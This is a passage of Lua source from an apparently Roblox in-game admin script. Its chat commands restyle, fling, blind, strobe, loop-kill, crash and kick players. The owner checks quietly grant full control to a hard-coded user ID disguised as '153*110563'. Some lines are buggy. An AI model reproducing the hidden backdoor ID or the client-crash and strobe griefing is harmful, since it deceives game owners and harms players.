  1585. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1586. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1587. end
  1588. end))
  1589. end
  1590. end
  1591.  
  1592. if msg:lower():sub(1,10) == "uncreeper " then
  1593. local plrz = GetPlr(plr, msg:lower():sub(11))
  1594. for i, v in pairs(plrz) do
  1595. coroutine.resume(coroutine.create(function()
  1596. if v and v.Character and v.Character:findFirstChild("Torso") then
  1597. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1598. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1599. v.Character.Torso.Transparency = 0
  1600. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1601. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1602. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1603. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1604. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1605. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1606. end
  1607. end))
  1608. end
  1609. end
  1610.  
  1611. if msg:lower():sub(1,8) == "bighead " then
  1612. local plrz = GetPlr(plr, msg:lower():sub(9))
  1613. for i, v in pairs(plrz) do
  1614. coroutine.resume(coroutine.create(function()
  1615. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1616. end))
  1617. end
  1618. end
  1619.  
  1620. if msg:lower():sub(1,9) == "minihead " then
  1621. local plrz = GetPlr(plr, msg:lower():sub(10))
  1622. for i, v in pairs(plrz) do
  1623. coroutine.resume(coroutine.create(function()
  1624. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1625. end))
  1626. end
  1627. end
  1628.  
  1629. if msg:lower():sub(1,6) == "fling " then
  1630. local plrz = GetPlr(plr, msg:lower():sub(7))
  1631. for i, v in pairs(plrz) do
  1632. coroutine.resume(coroutine.create(function()
  1633. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1634. local xran local zran
  1635. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1636. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1637. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1638. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1639. end
  1640. end))
  1641. end
  1642. end
  1643.  
  1644. if msg:lower():sub(1,8) == "seizure " then
  1645. local plrz = GetPlr(plr, msg:lower():sub(9))
  1646. for i, v in pairs(plrz) do
  1647. coroutine.resume(coroutine.create(function()
  1648. if v and v.Character then
  1649. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1650. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1651. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1652. end
  1653. end))
  1654. end
  1655. end
  1656.  
  1657. if msg:lower():sub(1,10) == "unseizure " then
  1658. local plrz = GetPlr(plr, msg:lower():sub(11))
  1659. for i, v in pairs(plrz) do
  1660. coroutine.resume(coroutine.create(function()
  1661. if v and v.Character then
  1662. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1663. wait(.1) v.Character.Humanoid.PlatformStand = false
  1664. end
  1665. end))
  1666. end
  1667. end
  1668.  
  1669. if msg:lower():sub(1,12) == "removelimbs " then
  1670. local plrz = GetPlr(plr, msg:lower():sub(13))
  1671. for i, v in pairs(plrz) do
  1672. coroutine.resume(coroutine.create(function()
  1673. if v and v.Character then
  1674. for a, obj in pairs(v.Character:children()) do
  1675. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1676. end
  1677. end
  1678. end))
  1679. end
  1680. end
  1681.  
  1682. if msg:lower():sub(1,5) == "name " then
  1683. local chk1 = msg:lower():sub(6):find(" ") + 5
  1684. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1685. for i, v in pairs(plrz) do
  1686. coroutine.resume(coroutine.create(function()
  1687. if v and v.Character and v.Character:findFirstChild("Head") then
  1688. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1689. local char = v.Character
  1690. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1691. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1692. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1693. char.Head.Transparency = 1
  1694. end
  1695. end))
  1696. end
  1697. end
  1698.  
  1699. if msg:lower():sub(1,7) == "unname " then
  1700. local plrz = GetPlr(plr, msg:lower():sub(8))
  1701. for i, v in pairs(plrz) do
  1702. coroutine.resume(coroutine.create(function()
  1703. if v and v.Character and v.Character:findFirstChild("Head") then
  1704. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1705. end
  1706. end))
  1707. end
  1708. end
  1709.  
  1710. if msg:lower():sub(1,5) == "char " then
  1711. local chk1 = msg:lower():sub(6):find(" ") + 5
  1712. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1713. for i, v in pairs(plrz) do
  1714. coroutine.resume(coroutine.create(function()
  1715. if v and v.Character then
  1716. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1717. v:LoadCharacter()
  1718. end
  1719. end))
  1720. end
  1721. end
  1722.  
  1723. if msg:lower():sub(1,7) == "unchar " then
  1724. local plrz = GetPlr(plr, msg:lower():sub(8))
  1725. for i, v in pairs(plrz) do
  1726. coroutine.resume(coroutine.create(function()
  1727. if v and v.Character then
  1728. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1729. v:LoadCharacter()
  1730. end
  1731. end))
  1732. end
  1733. end
  1734.  
  1735. if msg:lower():sub(1,7) == "infect " then
  1736. local plrz = GetPlr(plr, msg:lower():sub(8))
  1737. for i, v in pairs(plrz) do
  1738. coroutine.resume(coroutine.create(function()
  1739. if v and v.Character then
  1740. Infect(v.Character)
  1741. end
  1742. end))
  1743. end
  1744. end
  1745.  
  1746. if msg:lower():sub(1,11) == "rainbowify " then
  1747. local plrz = GetPlr(plr, msg:lower():sub(12))
  1748. for i, v in pairs(plrz) do
  1749. coroutine.resume(coroutine.create(function()
  1750. if v and v.Character and v.Character:findFirstChild("Torso") then
  1751. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1752. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1753. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1754. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1755. cl.Parent = v.Character cl.Disabled = false
  1756. end
  1757. end))
  1758. end
  1759. end
  1760.  
  1761. if msg:lower():sub(1,9) == "flashify " then
  1762. local plrz = GetPlr(plr, msg:lower():sub(10))
  1763. for i, v in pairs(plrz) do
  1764. coroutine.resume(coroutine.create(function()
  1765. if v and v.Character and v.Character:findFirstChild("Torso") then
  1766. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1767. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1768. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1769. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1770. cl.Parent = v.Character cl.Disabled = false
  1771. end
  1772. end))
  1773. end
  1774. end
  1775.  
  1776. if msg:lower():sub(1,8) == "noobify " then
  1777. local plrz = GetPlr(plr, msg:lower():sub(9))
  1778. for i, v in pairs(plrz) do
  1779. coroutine.resume(coroutine.create(function()
  1780. if v and v.Character then
  1781. Noobify(v.Character)
  1782. end
  1783. end))
  1784. end
  1785. end
  1786.  
  1787. if msg:lower():sub(1,9) == "ghostify " then
  1788. local plrz = GetPlr(plr, msg:lower():sub(10))
  1789. for i, v in pairs(plrz) do
  1790. coroutine.resume(coroutine.create(function()
  1791. if v and v.Character and v.Character:findFirstChild("Torso") then
  1792. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1793. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1794. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1795. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1796. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1797. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1798. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1799. end end
  1800. end
  1801. end))
  1802. end
  1803. end
  1804.  
  1805. if msg:lower():sub(1,8) == "goldify " then
  1806. local plrz = GetPlr(plr, msg:lower():sub(9))
  1807. for i, v in pairs(plrz) do
  1808. coroutine.resume(coroutine.create(function()
  1809. if v and v.Character and v.Character:findFirstChild("Torso") then
  1810. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1811. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1812. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1813. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1814. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1815. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1816. end end
  1817. end
  1818. end))
  1819. end
  1820. end
  1821.  
  1822. if msg:lower():sub(1,6) == "shiny " then
  1823. local plrz = GetPlr(plr, msg:lower():sub(7))
  1824. for i, v in pairs(plrz) do
  1825. coroutine.resume(coroutine.create(function()
  1826. if v and v.Character and v.Character:findFirstChild("Torso") then
  1827. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1828. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1829. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1830. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1831. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1832. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1833. end end
  1834. end
  1835. end))
  1836. end
  1837. end
  1838.  
  1839. if msg:lower():sub(1,7) == "normal " then
  1840. local plrz = GetPlr(plr, msg:lower():sub(8))
  1841. for i, v in pairs(plrz) do
  1842. coroutine.resume(coroutine.create(function()
  1843. if v and v.Character and v.Character:findFirstChild("Torso") then
  1844. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1845. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1846. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1847. v.Character.Torso.Transparency = 0
  1848. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1849. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1850. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1851. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1852. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1853. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1854. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1855. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1856. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1857. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1858. end end
  1859. end
  1860. end))
  1861. end
  1862. end
  1863.  
  1864. if msg:lower():sub(1,7) == "trippy " then
  1865. local plrz = GetPlr(plr, msg:lower():sub(8))
  1866. for i, v in pairs(plrz) do
  1867. coroutine.resume(coroutine.create(function()
  1868. if v and v:findFirstChild("PlayerGui") then
  1869. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1870. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1871. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1872. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1873. end
  1874. end))
  1875. end
  1876. end
  1877.  
  1878. if msg:lower():sub(1,9) == "untrippy " then
  1879. local plrz = GetPlr(plr, msg:lower():sub(10))
  1880. for i, v in pairs(plrz) do
  1881. coroutine.resume(coroutine.create(function()
  1882. if v and v:findFirstChild("PlayerGui") then
  1883. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1884. end
  1885. end))
  1886. end
  1887. end
  1888.  
  1889. if msg:lower():sub(1,7) == "strobe " then
  1890. local plrz = GetPlr(plr, msg:lower():sub(8))
  1891. for i, v in pairs(plrz) do
  1892. coroutine.resume(coroutine.create(function()
  1893. if v and v:findFirstChild("PlayerGui") then
  1894. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1895. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1896. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1897. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1898. end
  1899. end))
  1900. end
  1901. end
  1902.  
  1903. if msg:lower():sub(1,9) == "unstrobe " then
  1904. local plrz = GetPlr(plr, msg:lower():sub(10))
  1905. for i, v in pairs(plrz) do
  1906. coroutine.resume(coroutine.create(function()
  1907. if v and v:findFirstChild("PlayerGui") then
  1908. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1909. end
  1910. end))
  1911. end
  1912. end
  1913.  
  1914. if msg:lower():sub(1,6) == "blind " then
  1915. local plrz = GetPlr(plr, msg:lower():sub(7))
  1916. for i, v in pairs(plrz) do
  1917. coroutine.resume(coroutine.create(function()
  1918. if v and v:findFirstChild("PlayerGui") then
  1919. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1920. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1921. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1922. end
  1923. end))
  1924. end
  1925. end
  1926.  
  1927. if msg:lower():sub(1,8) == "unblind " then
  1928. local plrz = GetPlr(plr, msg:lower():sub(9))
  1929. for i, v in pairs(plrz) do
  1930. coroutine.resume(coroutine.create(function()
  1931. if v and v:findFirstChild("PlayerGui") then
  1932. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1933. end
  1934. end))
  1935. end
  1936. end
  1937.  
  1938. if msg:lower():sub(1,7) == "guifix " then
  1939. local plrz = GetPlr(plr, msg:lower():sub(8))
  1940. for i, v in pairs(plrz) do
  1941. coroutine.resume(coroutine.create(function()
  1942. if v and v:findFirstChild("PlayerGui") then
  1943. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1944. end
  1945. end))
  1946. end
  1947. end
  1948.  
  1949. if msg:lower():sub(1,9) == "loopheal " then
  1950. local plrz = GetPlr(plr, msg:lower():sub(10))
  1951. for i, v in pairs(plrz) do
  1952. if v then
  1953. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1954. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1955. repeat wait()
  1956. coroutine.resume(coroutine.create(function()
  1957. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1958. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1959. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  1960. end
  1961. end))
  1962. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1963. end
  1964. end
  1965. end
  1966.  
  1967. if msg:lower():sub(1,11) == "unloopheal " then
  1968. local plrz = GetPlr(plr, msg:lower():sub(12))
  1969. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1970. end
  1971.  
  1972. if msg:lower():sub(1,10) == "loopfling " then
  1973. local plrz = GetPlr(plr, msg:lower():sub(11))
  1974. for i, v in pairs(plrz) do
  1975. if v then
  1976. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1977. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1978. repeat
  1979. coroutine.resume(coroutine.create(function()
  1980. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1981. local xran local zran
  1982. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1983. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1984. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1985. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1986. end
  1987. end))
  1988. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1989. end
  1990. end
  1991. end
  1992.  
  1993. if msg:lower():sub(1,12) == "unloopfling " then
  1994. local plrz = GetPlr(plr, msg:lower():sub(13))
  1995. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1996. end
  1997.  
  1998. end
  1999.  
  2000. -------------------------
  2001. -- True Owner Commands --
  2002. -------------------------
  2003.  
  2004. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2005.  
  2006. if msg:lower():sub(1,3) == "oa " then
  2007. local plrz = GetPlr(plr, msg:lower():sub(4))
  2008. for i, v in pairs(plrz) do
  2009. coroutine.resume(coroutine.create(function()
  2010. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2011. end))
  2012. end
  2013. end
  2014.  
  2015. if msg:lower():sub(1,5) == "unoa " then
  2016. for i = 1, #owners do
  2017. coroutine.resume(coroutine.create(function()
  2018. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2019. end))
  2020. end
  2021. end
  2022.  
  2023. end
  2024.  
  2025. --------------------
  2026. -- Owner Commands --
  2027. --------------------
  2028.  
  2029. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2030.  
  2031. if msg:lower():sub(1,3) == "pa " then
  2032. local plrz = GetPlr(plr, msg:lower():sub(4))
  2033. for i, v in pairs(plrz) do
  2034. coroutine.resume(coroutine.create(function()
  2035. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2036. end))
  2037. end
  2038. end
  2039.  
  2040. if msg:lower():sub(1,5) == "unpa " then
  2041. for i = 1, #admins do
  2042. coroutine.resume(coroutine.create(function()
  2043. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2044. end))
  2045. end
  2046. end
  2047.  
  2048. if msg:lower():sub(1,5) == "nuke " then
  2049. local plrz = GetPlr(plr, msg:lower():sub(6))
  2050. for i, v in pairs(plrz) do
  2051. coroutine.resume(coroutine.create(function()
  2052. if v and v.Character and v.Character:findFirstChild("Torso") then
  2053. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2054. p.Anchored = true
  2055. p.CanCollide = false
  2056. p.formFactor = "Symmetric"
  2057. p.Shape = "Ball"
  2058. p.Size = Vector3.new(1,1,1)
  2059. p.BrickColor = BrickColor.new("New Yeller")
  2060. p.Transparency = .5
  2061. p.Reflectance = .2
  2062. p.TopSurface = 0
  2063. p.BottomSurface = 0
  2064. p.Touched:connect(function(hit)
  2065. if hit and hit.Parent then
  2066. local ex = Instance.new("Explosion", game.Workspace)
  2067. ex.Position = hit.Position
  2068. ex.BlastRadius = 11
  2069. ex.BlastPressure = math.huge
  2070. end
  2071. end)
  2072. local cf = v.Character.Torso.CFrame
  2073. p.CFrame = cf
  2074. for i = 1, 333 do
  2075. p.Size = p.Size + Vector3.new(3,3,3)
  2076. p.CFrame = cf
  2077. wait(1/44)
  2078. end
  2079. p:Destroy()
  2080. end
  2081. end))
  2082. end
  2083. end
  2084.  
  2085. end
  2086.  
  2087. --------------------------
  2088. -- Super Admin Commands --
  2089. --------------------------
  2090.  
  2091. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2092.  
  2093. if msg:lower() == "logs" then
  2094. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2095. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2096. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2097. end
  2098.  
  2099. if msg:lower():sub(1,9) == "loopkill " then
  2100. local chk1 = msg:lower():sub(10):find(" ")
  2101. local plrz = GetPlr(plr, msg:lower():sub(10))
  2102. local num = 9999
  2103. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2104. for i, v in pairs(plrz) do
  2105. if v and not ChkAdmin(v.Name, false) then
  2106. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2107. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2108. for i = 1, ]] .. tostring(num) .. [[ do
  2109. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2110. coroutine.resume(coroutine.create(function()
  2111. if plr and plr.Character then plr.Character:BreakJoints() end
  2112. end))
  2113. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2114. end
  2115. end
  2116. end
  2117.  
  2118. if msg:lower():sub(1,11) == "unloopkill " then
  2119. local plrz = GetPlr(plr, msg:lower():sub(12))
  2120. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2121. end
  2122.  
  2123. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2124. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2125.  
  2126. if msg:lower():sub(1,3) == "sm " then
  2127. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2128. end
  2129.  
  2130. if msg:lower():sub(1,3) == "ko " then
  2131. local chk1 = msg:lower():sub(4):find(" ") + 3
  2132. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2133. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2134. for n = 1, num do
  2135. for i, v in pairs(plrz) do
  2136. coroutine.resume(coroutine.create(function()
  2137. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2138. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2139. v.Character:BreakJoints()
  2140. wait(1/44)
  2141. v:LoadCharacter()
  2142. wait(1/44)
  2143. end
  2144. end))
  2145. end
  2146. end
  2147. end
  2148.  
  2149. if msg:lower():sub(1,6) == "crash " then
  2150. local plrz = GetPlr(plr, msg:lower():sub(7))
  2151. for i, v in pairs(plrz) do
  2152. coroutine.resume(coroutine.create(function()
  2153. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2154. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2155. end
  2156. end))
  2157. end
  2158. end
  2159.  
  2160. if msg:lower():sub(1,5) == "kick " then
